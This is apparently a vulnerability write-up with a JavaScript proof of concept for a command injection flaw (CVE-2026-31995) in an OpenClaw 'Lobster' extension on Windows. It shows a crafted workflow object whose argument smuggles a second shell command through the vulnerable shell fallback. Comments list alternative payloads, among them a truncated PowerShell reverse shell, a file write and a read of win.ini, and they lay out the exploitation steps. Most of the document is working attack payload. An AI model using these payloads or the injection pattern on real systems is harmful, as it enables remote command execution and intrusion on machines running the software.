CVE-2026-31995 OpenClaw Lobster扩展Windows shell命令注入漏洞

// CVE-2026-31995 PoC - OpenClaw Lobster Extension Command Injection // This PoC demonstrates command injection through workflow arguments // when spawn failure triggers Windows shell fallback // Malicious workflow configuration that exploits the vulnerability const maliciousWorkflow = { extension: 'lobster', tool: 'execute_command', args: { // Command injection payload using cmd.exe special characters target: 'legitimate_command; whoami > C:\\temp\\pwned.txt', timeout: 5000 }, fallback: { enabled: true, shell: true // This triggers the vulnerable shell fallback } }; // Alternative payload variations: // 1. Reverse shell: target: 'calc.exe && powershell -c "$client = New-Object System.Net.Sockets.TCPClient..."' // 2. File write: target: 'echo test > C:\\temp\\output.txt' // 3. Multiple commands: target: 'dir & type C:\\Windows\\win.ini' // Exploitation scenario: // 1. Attacker crafts malicious workflow with injected commands // 2. Workflow triggers spawn failure in Lobster extension // 3. Shell fallback mechanism activates with shell: true // 4. cmd.exe interprets injected commands via argument parsing // 5. Malicious commands execute with same privileges as OpenClaw process